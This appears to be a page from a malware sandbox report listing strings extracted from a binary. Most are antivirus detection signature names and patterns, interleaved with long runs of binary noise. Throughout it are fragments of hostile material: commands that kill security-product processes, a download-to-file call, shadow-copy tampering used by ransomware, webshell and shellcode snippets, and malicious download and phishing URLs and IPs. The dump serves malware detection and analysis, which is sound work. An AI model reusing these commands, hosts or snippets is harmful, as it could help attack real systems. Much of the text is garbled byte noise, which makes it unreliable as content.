docopy/yautorun.inf%%x:autorun.inf kill/f/imnod32kui.exe 
taskkill/immsseces.exe/ftaskkill/immsseoobe.exe/ftaskkill/imconfigsecuritypolicy.exe/ftaskkill/immpcmdrun.exe/ftaskkill/immsmpeng.exe/ftaskkill/imnissrv.exe/fexit 3g&~e !Agent.WE !Agent.DU 
!Goldun.EQ !Agent.WG !Adload.S !Conhook.A o NSZ w.`U< @S>w6e SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{20d57a66-f7df-467d-907b-9b7f4a118ab7} 
lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{20d57a66-f7df-467d-907b-9b7f4a118ab7}cr 
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{ea32fb3b-21c9-42cc-b8ef-01a9b28edb0d} 
lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{ea32fb3b-21c9-42cc-b8ef-01a9b28edb0d}] !Goldun.M !Small.EQ !Goldun.O !Goldun.P !Goldun.ER !Ldpinch.TZ QJQ 
p !Agent.WH !Adload.T !Goldun.ES !Agent.EP !Agent.ER !Agent.ES !Agent.WI !Small.gen!A !Small.gen!B SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\shel 
3SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\shelklop c:\\tskmgr.exe +urlmon.dllURLDownloadToFileAc:\\tskmgr.exe /2.exe  !Small.gen!C !Adload.U !Adload.V !Adload.W !Adload.X +<1%X 
!Adload.Y !Adload.Z !Adload.AA !Adload.AB !Adload.AC !Adload.AD !Adload.AE !Adload.AG !Adload.AH !Adload.AI !Agent.IN  eM0z !Adload.AF !Adload.AJ !Agent.IO !Renos.C 1Zlob !Zlob.gen!dll 
L$(QP !Harnig.gen!rpf !Adload.AK !Adload.AL !&VFo 1Ranky shed  Proxy-agen YSSSSSSSj VVVVVVVj /a.php? HTTP/1.0 200 Connection established #HTTP/1.0 200 Connection established 
registerserviceprocess Proxy-agent: %d.%d.%d.%d AutoUpdateMgr  /b.php? %s:*:Enabled:% %s:*:Enabled:%] +Zlob Killav.ET !Bagle.NA !Bagle.MV !Bagle.MW !Bagle.MX !Bagle.MY !Bagle.MZ 
!Agent.WJ !Agent.BN !Agent.BO !Lager.AE F:JASYP:TrojanDownloader:Win32/Upatre!atmn !#JASYP:Backdoor:Win32/Hupigon!atmn 0 c:\\temp\\ixp .tmp\\tmp $.tmp 
!#ALF:JASYP:Backdoor:Win32/IRCbot!atmn 0Y}8m export hkey_local_machine\\system\\controlset \\services\\srservice c:\\windows\\ trickler t:3f d9 s:51bf !#ALF:JASYP:Rogue:Win32/Winwebsec!atmn 
/c taskkill /f /pid   & ping -n 3  .1 & del /f /q \"c:\\myapp.exe\" & start c:\\documents and settings\\johndoe\\local settings\\application data\\ !#NRI:WebServiceShareBins.A upaste.me paste.ee 
pastecode.xyz heypasteit ghostbin.co privatebin. skidbin. githack. %c:\\program files\\java\\jre \\bin\\uf !#ALF:JASYP:PUA:Win32/InstallIQ!atmnm c:\\temp\\pkg cd3e50\\ cd3e50 \"c:\\myapp.exe\" 
/wrapper /dir=\"c:\\temp\\pkg 044\"c:\\myapp.exe\" /wrapper /dir=\"c:\\temp\\pkg cd3e51 \"c:\\myapp.exe\"\" /wrapper /dir=\"c:\\temp\\pkg cd3e5 !#ALF:JASYP:Trojan:Win32/Ramnit!atmn  o@a& E0 
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/wrapper /dir=\"c:\\temp\\pkg 044\"c:\\myapp.exe\" /wrapper /dir=\"c:\\temp\\pkg cd3e51 \"c:\\myapp.exe\"\" /wrapper /dir=\"c:\\temp\\pkg cd3e5 !#ALF:JASYP:Trojan:Win32/Ramnit!atmn  o@a& E0 
o@a& E0 fj 0 .temp !#ALF:Trojan:Win32/BATtoEXEAdvancedConverter p\"'61  0=2$ c:\\windows\\system32\\cmd.exe /c if exist  .c:\\windows\\system32\\cmd.exe /c if exist  \\temp\\ytmp\\tmp .bat\" del  
.exe\" del  c:\\temp\\ytmp\\tmp !#ALF:TrojanDownloader:MSIL/Ursu.SIBA!MTB r`;https://cdn.discordapp.com/attachments/ 0/svchost !#ALF:JASYP:Trojan:Win32/Ymacco!atmn .tmp\" --pingc:\\temp\\ 
.tmp\t00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 
!#ALF:JASYP:Trojan:Win32/Salgorea!atmn !#NRI:Dirtvantitufo.20210830 p&//bank4america.com p$.bank4america.com p //boldhamia.com .boldhamia.com p*//corporation-bf.com p(.corporation-bf.com 
p$//spectrummel.com p\".spectrummel.com !#ALF:JASYP:Trojan:Win32/Ymacco!atmnm  \\c4e8d0e d42b7bea76bf9589bb111_logfile.txtc4e8d0e d42b7bea76bf bb111_logfile.txtc4e8d0e logfile.txt 
!#ALF:JASYP:Worm:Win32/Regul!atmn !#NRI:Dirtvantunion.20210830 p //finconsult.cc .finconsult.cc p,//headway-consult.com p*.headway-consult.com p&//realmetaldns.com p$.realmetaldns.com 
p$//universe-dns.me p\".universe-dns.me !#ALF:JASYP:Trojan:Win32/Qhost!atmn E0 fj !#NRI:HasResponseTCPNonCommonPort.A !#//SIGATTR:LOADSDECRYPTDROPSEXEC:JS/Nemucod  0$var  
;(function(){function  !#ALF:JASYP:Trojan:Win32/Cobra!atmn 
.tmp\t00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #5|`r #YsPb :1{AF t+bl(M{ GQMH[% Fm}WS TE%wG 
L#WQI ~M>qr ~\"{ni X9]cc Owm3 /^H&+ a;~!$ -cJ-K% .XP<& Q/ \\] p\tKX& :/.E/ DS'FD r7CRZ& `R,h1 ^Z.T G UA J` jMjM4 QG<48 S|\"H-:' /2jOYvv {'hyF [#h(p p/P95ol# 0d4%.u A&[ Vt, m-<BO Cxr|m 
.x>Z? ld}`P pCou> kIihDGj4 $+; - Uw APGC 9'mWGBwm x*\"z< Vi?T: E[3%Sg IZ0gc ]K5)~/ U`CK} 7ro7pj *imL* R,a BHW @;$y\" -jsaw ?8{x. pGhH+ n9SU+| xMo`m>\" GulA> rGulA> \t__}7 r\"o?w  r\"o?
w T$[tDc  r$WZ r$w1U  r$w1U  r%87 r&s0LT  r&s0LT  r.M> YBFvqj3R r/7sT  r/7sT r/<99  r/<99 TW`t] oF ?g o,u u 4l{^/.p.F  r9[b  r;o! d/orY;  r@1-  rAC. f;\t0p  rBWi  rD47 rE<\\c7  rE<\\c7 BD<r'B3 wcS7)l 
rN\\ Oz  rN\\ Oz rNrF  rNrF rO%I~  rO%I~  rOP8  rR`  rU;E rYwm.  rYwm. $z!o6Z  rZgQ plwb? X%1bzE <T)qH{ r[G]6  r[G]6  r^%+ r_$Me  r_$Me  r_o%  ral2 870Ww rdO\ts  rdO\ts <n,Ol \"[tDw ri1}a  ri1}a 
B2*QA l{|:i  ro=i  rqKU rrwGs  rrwGs Xi~]# A^y$+ Fq=br j]?TU rw<4j5c  rw<4j5c  rxkX KuGLH MUkMxuf6d4p  rz)e *:E-[n  rzgO (2W'? n#ri,  t^*xAM ;Z \\^ 2>6MM _!Fl} QlU_/ \\ihA;2 W=s%Q O=H(d ;BfXn  
#>CT +lfDB# 'Em=w >)I^H \tBm=+ 61T|LR 3j^[s fw'Lp Rliq; ,GeiH ]\t=\\]\t LXAP:  }@Gx qY5]6 _irN?]^ U^^ 7 !tf5B \twB<A NuXsY +9~n_ 86N99 R84]3 Gy*F{ SR$)N K3jQY \\$j{$ w|%O! u`md?% g'F0\"c 
c2\"yN XSVJ/:{ c9zb(> u6(fe T^!,? _nD~t [_B8r 6VFF} !\\je0Z &+b#c %5V|f h0y4#Js y`DQ/ SOYS' e0B1{~ ^)}f7 `~}FGQ jj@#x _\"9\t$H \\VtDG~ \\;b!= lR@-mi o4$cJ  \"\"Hy ?(im\\  \"&q DNv~O. \"(:xq  \"
(:xq u^<+5  \"+rx 6f#&LP \"8?[d  \"8?[d  \">.b \">Q\\2y  \">Q\\2y \"?2Q*  \"?2Q*  \"@Us bmf25z SwQx+  \"DJ|  \"DLF XDa^P^` erebg  \"FM~ EG_a$ \"HVd:rl3  \"HVd:rl3  \"I#p \"Ipuz  \"Ipuz  \"JrA nk\tHNE 
6/qk_ : a%*?E  \"Jtj $@-4?  \"NWJ  \"N}A  \"PNk \"QbN?  \"QbN?  6fEJ 7Ah3up  \"T_l *]*>r H  \"VyR  \"\\v? \"]O~:  \"]O~: \"]x$i  \"]x$i :1O\"^ GA==<6/  \"aTz KKNr$. \"d{2q*  \"d{2q*  \"eG6 NMJ  B \"k}$J  
\"k}$J YtpF(  \"mLh  \"nSE h#_,b \"tIb^  \"tIb^ \"tho<9&  \"tho<9& pPz=N  \"wy| stop-service-name !#SCPT:URL.B!js !#SCRIPT:Cond.1 .status_code==401 !#SCRIPT:base64 base64DecodeChars 
base64EncodeChars !#SCRIPT:esents drivername=esents !#SCPT:JS:Frag.1 function(jquery) !#SCPT:PyFlashAQ errorjso parse !#SCPT:PyFlashAX id=%sda e=%s%s !#SCPT:Scryper.B 
=\"23.95.215.100\" !#SCPT:Scryper.C functionskype(){ !#SCPT:TokenInfo get-primarytoken !#SCPT:VBSScared e66eaba29196e06d !#SCRIPT:Trick.B https !#SCRIPT:XL4Exec <f>exec( 
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!#SCPT:O97M/IcedId.RVS5!MTB on.time(now()+\"00:00:02\",\"milolos\") %on.time(now()+\"00:00:02\",\"milolos\") !#SCPT:O97M/Qakbot.RVQ6!MTB <si><t>http://45.90.59.77/</t></si> %<si>
<t>http://45.90.59.77/</t></si> !#SCPT:PSByteShellcodeJmp.A %[byte[]]$ P=0xeb,0x5a,0x31,0xc0,0x !#SCPT:PWS:HTML/Phish.SMKV4 emailsettings|for:<i><?phpecho$mail %emailsettings|for:<i><?
phpecho$mail !#SCPT:Trojan:VBS/HiddenRun objshell.run %objshell.run  start .exe\",vbhide !#SCRIPT:JS/ExplLoadFlash.C %+'<paramname=\"play\"value=\"true\"/>'; !#SCRIPT:JS/TechAlertCode.H 
for(i=0;i< %for(i=0;i< ;i++){ 0alert( .toString();history[_0x %.toString();history[_0x ](0,0,_0x !#SCRIPT:PHP/SocketCreate.A socket_create %socket_create (af_inet,sock_stream 
!#SCRIPT:PowerShell/TSyncml get-codepage-name %get-codepage-name  -o365 -syncml !#SCRIPT:Python/TalkBack.B2 =serve_thread_udp,args=('',53,dns,) %=serve_thread_udp,args=('',53,dns,) 
!#Worm:VBS/Pordeezy.B!lnk.2 &cls&startjavaupdate. %&cls&startjavaupdate. jsvbe&cls& !#ALF:Exploit:HTML/EfCinco.E /tmui/lo $/tmui/lo in.jsp/%2e%2e%3b/hsqldb 
!#SCPT:O97M/Dridex.ZPGA9!MTB wmicprocesscallcreate\"rundll32.exe $wmicprocesscallcreate\"rundll32.exe !#SCPT:O97M/EncDoc.RAAB1!MTB <vt:lpstr>foglidilavoro</vt:lpstr> 
$<vt:lpstr>foglidilavoro</vt:lpstr> http://docs.atu.ngr.mybluehost.me/ $http://docs.atu.ngr.mybluehost.me/ !#SCPT:O97M/EncDoc.RJJJJ!MTB name1d.site/ $name1d.site/  
!#SCPT:O97M/Encdoc.VISA3!MTB tar-xf..\\nioka.meposv-c..\\\"</f><v> $tar-xf..\\nioka.meposv-c..\\\"</f><v> !#SCPT:O97M/FormBook.RXX!EML /0ylkhhgkr5e5gks.php $/0ylkhhgkr5e5gks.php  
/o5atddb7ib8fbht.php $/o5atddb7ib8fbht.php  !#SCPT:O97M/IcedID.VIS35!MTB <si><t>bkxf24hfvt03ftrd.xyz/grays. $<si><t>bkxf24hfvt03ftrd.xyz/grays. !#SCPT:O97M/Trickbot.SS3!MTB 
http://195.123.219.21/campo/t3/t3d $http://195.123.219.21/campo/t3/t3d !#SCPT:PWS:HTML/PhishHotMail onclick=\"openoffersdialoghotmail() $onclick=\"openoffersdialoghotmail() 
!#SCPT:Ransom:BAT/Clop.D!vc2 vssadminresizeshadowstorage/for=c: $vssadminresizeshadowstorage/for=c: !#SCPT:Trojan:HTML/Phish.KS2 formmethod=\"post\"action=\"post.php\" 
$formmethod=\"post\"action=\"post.php\" !#SCPT:Trojan:IS/AutoRun.KD6 systemroot%\\system32\\shell32.dll,4 $systemroot%\\system32\\shell32.dll,4 !#SCRIPT:BitmapRemotesave.A2 
system.drawing.imaging.imageformat $system.drawing.imaging.imageformat !#SCRIPT:Exploit:JS/AimesuE2 string.prototype.mm=function(g,u){ $string.prototype.mm=function(g,u){ 
!#SCRIPT:Exploit:JS/AimesuJ3 sprayslide=sprayslide.substring(0, $sprayslide=sprayslide.substring(0, !#SCRIPT:Exploit:JS/AimesuO3 document.body.appendchild(otrtorol 
$document.body.appendchild(otrtorol !#SCRIPT:ExpwrapCreateProc.B methodname $methodname >start< >powershell document.body.style.cursor='wait'; $document.body.style.cursor='wait'; 
document.onmousedown=norightclick; $document.onmousedown=norightclick; updateTimer();}countdown( $updateTimer();}countdown(  ,5,0); !#SCRIPT:JS/ExplFlashCheck.A 
.swfobjectutil.getplayerversion(); $.swfobjectutil.getplayerversion(); !#SCRIPT:RevobfoosBExclusion adatemllehsrewop< $adatemllehsrewop< 0\"=noisrevlmx?< !#TEL:PHP/Dirtelti.BTR10!mtb 
array_map(base64_decode( $array_map(base64_decode( !#Trojan:BAT/Sciptos.SB1!MTB if%date%== $if%date%==  =%localappdata% !#Trojan:BAT/Sciptos.YA2!MTB 
ping8.8.8.8|>nulfind/i\"ttl=\"&&goto $ping8.8.8.8|>nulfind/i\"ttl=\"&&goto !#Trojan:JS/Sodinokibi.SA!A7 $else ++;}return !#Trojan:Linux/Downloader.M3 ./ssh;rm-rf3update.x86sshhistory-c $./ssh;rm-
rf3update.x86sshhistory-c !#Trojan:O97M/DPlink.A!atb17 $<deeplink> 0rundll32 javascript !#SCPT:CodeOnly.Chewglobber.D elfmemorystreamer_getentry_offset #elfmemorystreamer_getentry_offset 
!#SCPT:RTF.LikelyObfuscated.B #}{\\p !#SCPT:RansomNote:NetWalker.B filesforthiscomputerhasextension: #filesforthiscomputerhasextension: !#SCPT:Trojan:BAT/Starter.G10 #cmd.exe 
/cstartdrive.bat&\"drive !#SCPT:Trojan:VBS/Danabot.CS3 .getspecialfolder(cint(\"2\"))+\"\\\") #.getspecialfolder(cint(\"2\"))+\"\\\") varstr='v!a!r#?p#l#0!6#w?n#h^k^^= #varstr='v!a!r#?p#l#0!6#w?n#h^k^^= 
!#SCRIPT:Backdoor:JS/Moktik.B xxx', #xxx', :'ddd', :'uuu', :'ccc !#SCRIPT:Exploit:JS/Scanbox.H case8:case9:case13:case32:case37: #case8:case9:case13:case32:case37: 
!#SCRPT:Trojan:VBS/Movanide.1 callmoveandhide(\"\\installer.vbs\") #callmoveandhide(\"\\installer.vbs\") !#Trojan:Win32/Powieat.A3!MTB #invoke-webrequest-uri  -outfile$ 
!#ALF:Backdoor:PHP/WebShell.RF <title>5quarep4ntz5h3ll_</title> \"<title>5quarep4ntz5h3ll_</title> <title>jingklongbajingan</title> \"<title>jingklongbajingan</title> !#BRUTE:LNK:Expert:Feature:220 
%cd%\\ \"%cd%\\  &&%windir%\\explorer%cd%\\ !#Backdoor:ASP/Webshell.G!ptb2 =runtime.getruntime().exec(str); \"=runtime.getruntime().exec(str); !#PowerShell:UACBypass!Lowfi.2 functiondisable-
executionpolicy{ \"functiondisable-executionpolicy{ !#Ransom:AndroidOS/SimpLock.D3 res/xml/ \"res/xml/ device_admin_data.xml !#SCPT:PWS:HTML/PhishYahooMail 
onclick=\"openoffersdialogyahoo() \"onclick=\"openoffersdialogyahoo() !#SCPT:Trojan:JS/Tnega.SK2!MTB returnstr.split(\"n\").join(\"31\"); \"returnstr.split(\"n\").join(\"31\"); 
!#SCRIPT:Exploit:JS/Pangimop-5 type=\"application/x-java-applet\" \"type=\"application/x-java-applet\" !#SCRIPT:Exploit:SWF/Netis.Z-2 http://adobe.com/as3/ \"http://adobe.com/as3/ /builtin audio( 
\"audio( 0.mp3  .loop=true; !#SCRIPT:PHP/Phisherthe.B1!MTB =$_server['remote_addr'].\"\\r\\n\"; \"=$_server['remote_addr'].\"\\r\\n\"; !#SCRIPT:Ransom:HTML/Sarento.A .onion.cab///vict?cust= 
\".onion.cab///vict?cust= (&guid= !#SCRIPT:Worm:JS/Bondat!Crypt1 varb=[], \"varb=[],  parseint, @},a=\" !#SCRIPT:Worm:JS/Bondat!Crypt2 \"split )d.push( 36c)^t); =($_request[' \"=($_request[' 
']);system( !#SCPT:GoPkgMainImportCryptoTls packagemainimport( d!packagemainimport(  crypto/tls !#SCPT:Trojan:JS/Tnega.SST2!MTB document.write(\"<scr\"+\"iptsrc=' !document.write(\"
<scr\"+\"iptsrc=' !#SCRIPT:Exploit:JS/Foosace.A-1 if(navigator.useragent.indexof( !if(navigator.useragent.indexof( !#SCRIPT:HTML/AudioPlayViaSWF.B <embedsrc=\" !<embedsrc=\" 0.swf?file= P.mp3 
!#SCRIPT:JS/RequestFullScreen.A element.mozrequestfullscreen(); !element.mozrequestfullscreen(); !#SCRIPT:PSExploitAPIImports.A2 kernel32.dllwaitforsingleobject !kernel32.dllwaitforsingleobject 
!#SCRIPT:PSExploitShellCode.A11 system.net.webclient !system.net.webclient Pdownload !#SCRIPT:Python/Passhunt.A2!MTB pwd:aclassforrecordingpasswords !pwd:aclassforrecordingpasswords 
!#SCRIPT:SuspAmsiWmiClassName.A !#TEL:Ransom:O97M/GermanWiper.A http://expandingdelegation.top/ !http://expandingdelegation.top/ !#Trojan:HTML/Infwebpage.A3!MTB for(i=string.length-
1;i>=0;i--) !for(i=string.length-1;i>=0;i--)  !#ALF:Backdoor:JAVA/Webshell.RFN )K !#ALF:Backdoor:JAVA/Webshell.RFN pwnshell-aninteractivejspshell  pwnshell-aninteractivejspshell  
!#SCPT:Exploit:JS/Blacole.substr )K !#SCPT:Exploit:JS/Blacole.substr +=string[fr]((p(s.substr(i,2),  +=string[fr]((p(s.substr(i,2),  !#SCPT:Obfuscator.Split.dotcom.A )K !#SCPT:Obfuscator.Split.dotcom.A  
(46+ \"m\"(109  !#SCPT:Trojan:HTML/Phish.PM3!MTB )K !#SCPT:Trojan:HTML/Phish.PM3!MTB vare=url.searchparams.get(\"e\")  vare=url.searchparams.get(\"e\")  
!#SCPT:Trojan:HTML/Phish.SM2!MTB )K !#SCPT:Trojan:HTML/Phish.SM2!MTB  !#SCPT:Trojan:HTML/Phish.SY3!MTB )K !#SCPT:Trojan:HTML/Phish.SY3!MTB (\"loginisok\")!=-1){$(\"#load2\")  
(\"loginisok\")!=-1){$(\"#load2\")  !#SCPT:Trojan:PDF/Phish.PDA4!MTB )K !#SCPT:Trojan:PDF/Phish.PDA4!MTB reason:550spammessagerejected.  reason:550spammessagerejected. )K 
!#SCPT:Trojan:Python/Banker.VCX1 key=winreg.openkey(0x80000001,  key=winreg.openkey(0x80000001,  !#SCPT:Trojan:VBS/Obfuse.RV4!MTB )K !#SCPT:Trojan:VBS/Obfuse.RV4!MTB 
right(w1,len(w1)-instr(w1,w2))  right(w1,len(w1)-instr(w1,w2))  !#SCPT:TrojanProxy:BAT/Banker.G2 )K !#SCPT:TrojanProxy:BAT/Banker.G2 .db\"(start/low/miniexplore.exe  .db\"
(start/low/miniexplore.exe )K !#SCRIPT:JS/TechMsgTimeoutCode.A settimeout(function(){confirm(  settimeout(function(){confirm(  !#SCRIPT:Powershell/MathTruncate )K 
!#SCRIPT:Powershell/MathTruncate =[math]::truncate(  =[math]::truncate(  *100) )K !#SCRIPT:Trojan:BAT/Qhost.AF_etc %%tokddddddd%c%uhhiuhukm%omset  
%%tokddddddd%c%uhhiuhukm%omset =%traffikback%%df2%c%som%omset  =%traffikback%%df2%c%som%omset =d%esche%r%nichevoshenki%ivset  =d%esche%r%nichevoshenki%ivset 
=em%rtrjjdddjjjjr%32\\dr%what%i  =em%rtrjjdddjjjjr%32\\dr%what%i =em%rtrjjjjjjjjjr%32\\dr%what%i  =em%rtrjjjjjjjjjr%32\\dr%what%i  !#TEL:Exploit:HTML/Meercat.C!dha )K 
!#TEL:Exploit:HTML/Meercat.C!dha <title>xxxcontrolpanel</title>  <title>xxxcontrolpanel</title>  !#TEL:Exploit:Python/MILWORM.HZ4 )K !#TEL:Exploit:Python/MILWORM.HZ4 +=struct.pack(\"
<l\",0x7c577b03)  +=struct.pack(\"<l\",0x7c577b03)  !#Trojan:AutoIt/Nanocore.PA1!MTB )K !#Trojan:AutoIt/Nanocore.PA1!MTB dim$startupdir=@tempdir&\"\\  dim$startupdir=@tempdir&\"\\  
!#TrojanDropper:VBS/Bynoco!ptb06 )K !#TrojanDropper:VBS/Bynoco!ptb06 decodebase64=el.nodetypedvalue  decodebase64=el.nodetypedvalue !!#SCPT:CmdMultiSlashPatterns.AMSI 
)K!!#SCPT:CmdMultiSlashPatterns.AMSI rtcshell(\"cmd !!#SCPT:Exploit:JS/Blacole.forloop )K!!#SCPT:Exploit:JS/Blacole.forloop .length; +=2){ !!#SCPT:HackTool:VBA/CreateShell.B 
)K!!#SCPT:HackTool:VBA/CreateShell.B createobject(\"wscript.shell\") !!#SCPT:O97M/ObfShellLaunch.A!amsi )K!!#SCPT:O97M/ObfShellLaunch.A!amsi @powershell 
!!#SCPT:Phish:PHP/Php_Get_Email.GG )K!!#SCPT:Phish:PHP/Php_Get_Email.GG <?php$email=$_get['email'];?> !!#SCPT:Ransom:BAT/Clop_Exclusion1 )K!!#SCPT:Ransom:BAT/Clop_Exclusion1 
cuckoo/protections/behaviours !!#SCPT:Trojan:Linux/CoinMiner.JJ2 )K!!#SCPT:Trojan:Linux/CoinMiner.JJ2 pgrep-fmonerohash|xargskill-9 !!#SCPT:Trojan:VBS/CoinMiner.A!ab3 
)K!!#SCPT:Trojan:VBS/CoinMiner.A!ab3 objwmi.execquery(\" p\").count !!#SCPT:Trojan:VBS/Obfuse.DRB1!MTB )K!!#SCPT:Trojan:VBS/Obfuse.DRB1!MTB strreverse(\"==ai\"+\"layxguci\") 
!!#SCPT:TrojanSpy:JS/BrobanDel.A13 )K!!#SCPT:TrojanSpy:JS/BrobanDel.A13 /^([1-9]*)[0]*([1-9][ d]*)/ !!#SCPT:VBSCUpdateSystemParameters )K!!#SCPT:VBSCUpdateSystemParameters 
updateperusersystemparameters !!#SCPT:VirTool:JS/Obfuscator.HJ.2 )K!!#SCPT:VirTool:JS/Obfuscator.HJ.2 ,0,0);};}catch(er){};}; !!#SCRIPT:BAT/TechWindowMaximize.A 
)K!!#SCRIPT:BAT/TechWindowMaximize.A echowindowstate=\"maximize\"/^> !!#SCRIPT:PowerShell/Macroburst.H3 )K!!#SCRIPT:PowerShell/Macroburst.H3 get-azureadcurrentsessioninfo 
!!#SCRIPT:Worm:ALisp/Blemfox.C!srv )K!!#SCRIPT:Worm:ALisp/Blemfox.C!srv princ-yjfwqusmtp.qq.com[princ !!#TEL:Backdoor:PHP/Webshell.P!vc1 )K!!#TEL:Backdoor:PHP/Webshell.P!vc1 
('w'.'scr'.'ip'.'t.she'.'ll') !!#TEL:Backdoor:PHP/Webshell.P!vc2 )K!!#TEL:Backdoor:PHP/Webshell.P!vc2 exploit:breakfuckingsafe-mode !!#Trojan:Win32/AgentTesla.QA4!MTB 
)K!!#Trojan:Win32/AgentTesla.QA4!MTB execute(\"chrw(- \"!#ALF:Exploit:Script/Hathler.G!dha )K\"!#ALF:Exploit:Script/Hathler.G!dha mstscexpl*me=newmstscexpl(); 
\"!#SCPT:AutoItMacro_LocalAppDataDir )K\"!#SCPT:AutoItMacro_LocalAppDataDir @localappdatadir \"!#SCPT:AutoItMacro_ProgramFilesDir )K\"!#SCPT:AutoItMacro_ProgramFilesDir Copyright Joe Security LLC 2021 Page 85 of 181



\"!#SCPT:AutoItMacro_LocalAppDataDir )K\"!#SCPT:AutoItMacro_LocalAppDataDir @localappdatadir \"!#SCPT:AutoItMacro_ProgramFilesDir )K\"!#SCPT:AutoItMacro_ProgramFilesDir 
@programfilesdir \"!#SCPT:AutoItMacro_TrayIconVisible )K\"!#SCPT:AutoItMacro_TrayIconVisible @trayiconvisible )K\"!#SCPT:Exploit:Win32/ShellCode.Y.1 1158b9 0-9a-f000049803408 
\"!#SCPT:JS/Nemucod.Undefined2xStart )K\"!#SCPT:JS/Nemucod.Undefined2xStart ()[['undefined','undefined', \"!#SCPT:JS/Obfuscator.Hex.Replace.A )K\"!#SCPT:JS/Obfuscator.Hex.Replace.A 
\\x72\\x65\\x70\\x6c\\x61\\x63\\x65 \"!#SCRIPT:PowerShell/Internaloff.D3 )K\"!#SCRIPT:PowerShell/Internaloff.D3 get-accesstokenusingaadgraph \"!#SCRIPT:PowerShell/RegistryHive.A 
)K\"!#SCRIPT:PowerShell/RegistryHive.A microsoft.win32.registryhive \"!#SCRIPT:Trojan:JS/Kilim!FB_MalUrl )K\"!#SCRIPT:Trojan:JS/Kilim!FB_MalUrl hizliservis.pw/php/askfm.php 
redbayi.com/winatom/user.php \"!#SCRIPT:Trojan:MSIL/Moloterae!lnk )K\"!#SCRIPT:Trojan:MSIL/Moloterae!lnk .nattly.com chrome.exewww \"!#TrojanDownloader:JS/Genbhv.C!vc2 
)K\"!#TrojanDownloader:JS/Genbhv.C!vc2 gasstove(monkeyb(jiepak(null \"!#TrojanDownloader:VBS/Obfus.A!al1 )K\"!#TrojanDownloader:VBS/Obfus.A!al1 cmd/c%tmp%\\avantfirewall.exe 
#!#ALF:Trojan:PHP/Dirtelti.BTR07!mtb )K#!#ALF:Trojan:PHP/Dirtelti.BTR07!mtb require request[ <?php   <?php #!#Exploit:O97M/CVE-2017-8570.Gatb02 )K#!#Exploit:O97M/CVE-2017-8570.Gatb02 
}}}numbernfigureversionhigh #!#SCPT:AutoItApi_GetSystemDEPPolicy )K#!#SCPT:AutoItApi_GetSystemDEPPolicy _winapi_getsystemdeppolicy( #!#SCPT:Backdoor:ASP/Dirtelti.J1!MTB 
)K#!#SCPT:Backdoor:ASP/Dirtelti.J1!MTB webadmin2.xfinalisawebshell #!#SCPT:Backdoor:PHP/Nishang.B!ns004 )K#!#SCPT:Backdoor:PHP/Nishang.B!ns004 .synopsisnishangscriptwhich 
#!#SCPT:JS/Obfuscator.Array.Concat.A )K#!#SCPT:JS/Obfuscator.Array.Concat.A [0][0]+ #!#SCPT:JS/Obfuscator.Split.charat.A )K#!#SCPT:JS/Obfuscator.Split.charat.A ch\"+\"a 
#!#SCPT:TrojanDownloader:JS/Tnega.L4 )K#!#SCPT:TrojanDownloader:JS/Tnega.L4 .getruntime().exec( )K#!#SCRIPT:Worm:Win32/Gamarue.gen!lnk ,_ldr@16desktop.inirettls\"\" 
#!#TELPER:Exploit:O97M/CVE-2017-8759 )K#!#TELPER:Exploit:O97M/CVE-2017-8759 {\\object\\objlink\\objupdate\\ {\\object\\objupdate\\objlink\\ #!#TrojanDownloader:O97M/Slinjek.MR1 
)K#!#TrojanDownloader:O97M/Slinjek.MR1 s^et/p=\"\"gundem.com/cat.php )K#!#TrojanDownloader:Win32/Lnkget.gen .vbs> .bat&echostart $!#Exploit:O97M/DDEDownloader.J!atob5 
)K$!#Exploit:O97M/DDEDownloader.J!atob5 <w:instrtext>.exe\"http://< $!#SCPT:Backdoor:PHP/Webshell.S!al001 )K$!#SCPT:Backdoor:PHP/Webshell.S!al001 $hhc=\"$hhcpath\"+\"\\hhc.exe\" 
$!#SCPT:CodeOnly.RpivotClientServer.C )K$!#SCPT:CodeOnly.RpivotClientServer.C socks_server_reply_success $!#SCPT:Obfuscator.LongVariableName.A 
)K$!#SCPT:Obfuscator.LongVariableName.A a-z0-9=\" $!#SCPT:Trojan:JS/WmiCreateProc.B!ams )K$!#SCPT:Trojan:JS/WmiCreateProc.B!ams $!#Script:Phish:PHP/PhishBank.AD2!MTB 
)K$!#Script:Phish:PHP/PhishBank.AD2!MTB [base64_decode('zmlszq==') $!#Script:Trojan:JS/SpelevoEK.AD!MTB4 )K$!#Script:Trojan:JS/SpelevoEK.AD!MTB4 functioncheckversionflash( 
$!#Trojan:PowerShell/CoinMiner.B!ptb4 )K$!#Trojan:PowerShell/CoinMiner.B!ptb4 cmd/cschtasks/delete/f/tn\\ $!#TrojanDownloader:VBS/Agent.RX3!MTB )K$!#TrojanDownloader:VBS/Agent.RX3!MTB 
chr(37)\"app\"\"data\"chr(37)\" %!#BRUTE:Exploit:Java/CVE-2008-5353.C3 )K%!#BRUTE:Exploit:Java/CVE-2008-5353.C3 java/io/objectinputstream %!#Exploit:O97M/CVE-2017-11882.AC!ats2 
)K%!#Exploit:O97M/CVE-2017-11882.AC!ats2 winexecsjm$$rexitprocesss %!#Exploit:O97M/CVE-2017-11882.X!smk01 )K%!#Exploit:O97M/CVE-2017-11882.X!smk01 vuhttp://bit.ly/  
%!#SCPT:AutoItApi_WinNet_AddConnection )K%!#SCPT:AutoItApi_WinNet_AddConnection _winnet_addconnection %!#SCPT:Backdoor:HTML/PoisonTap!listen 
)K%!#SCPT:Backdoor:HTML/PoisonTap!listen server.listen @poisontap %!#SCPT:Exploit:O97M/CVE-2017-0199.JF2 )K%!#SCPT:Exploit:O97M/CVE-2017-0199.JF2 urihttps://bit.ly/3kvdcmi 
%!#SCPT:JS/Obfuscator.Split.response.A )K%!#SCPT:JS/Obfuscator.Split.response.A .respon\"+\"s %!#SCPT:SchTaskNetworkServiceAccntPriv )K%!#SCPT:SchTaskNetworkServiceAccntPriv 
